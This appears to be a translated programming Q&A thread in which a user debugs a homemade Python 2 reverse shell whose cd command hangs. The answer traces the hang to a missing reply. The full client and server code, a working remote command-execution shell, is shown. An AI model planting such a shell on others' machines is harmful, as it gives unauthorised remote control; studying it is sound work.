为什么cd不能在我的反向shell上运行?

时间:2017-06-12 13:20:47

标签: python shell cd

我在Python 2中制作了一个反向shell。但是,我无法使cd(更改目录)工作。

以下是server的代码:

#!/usr/bin/python
import socket

host = socket.gethostname()
port = 1337
s = socket.socket()

s.bind((host, port))
s.listen(1)
while True:
    c, addr = s.accept()
    print "Accepted connection from", addr
    while True:
        cmd = raw_input(">>> ")
        c.send(cmd)
        print c.recv(1024)

s.close()

这是client的代码:

#!/usr/bin/python
import socket, os

s = socket.socket()
host = socket.gethostname()
port = 1337

s.connect((host, port))
while True:
    cmd = s.recv(1024)
    if cmd[:2] == "cd":
        os.chdir(str(cmd[3:]))
    else:
        o = os.popen(cmd).read()
        s.send(o)

我做错了什么?为什么更改目录不起作用?

编辑:命令行不会返回新的>>>提示。

1 个答案:

答案 0 :(得分:2)

这里的问题是服务器代码需要每个命令的响应,但对于cd命令,客户端不提供任何响应。

在服务器上:

while True:
    cmd = raw_input(">>> ")
    c.send(cmd)              # send the command to the client
    print c.recv(1024)       # block and then read (up to) 1024 characters from the client

然而,在客户端你做:

while True:
    cmd = s.recv(1024)            # block and then read (up to) 1024 characters from the server
    if cmd[:2] == "cd":
        os.chdir(str(cmd[3:]))    # no response sent for the `cd` case
    else:
        o = os.popen(cmd).read()
        s.send(o)                 # send a response to the server for all other cases

一个简单的解决方案是让cd案例返回服务器丢弃的OK响应。

请注意,在Python套接字中,因此socket.recv()blocking operation by default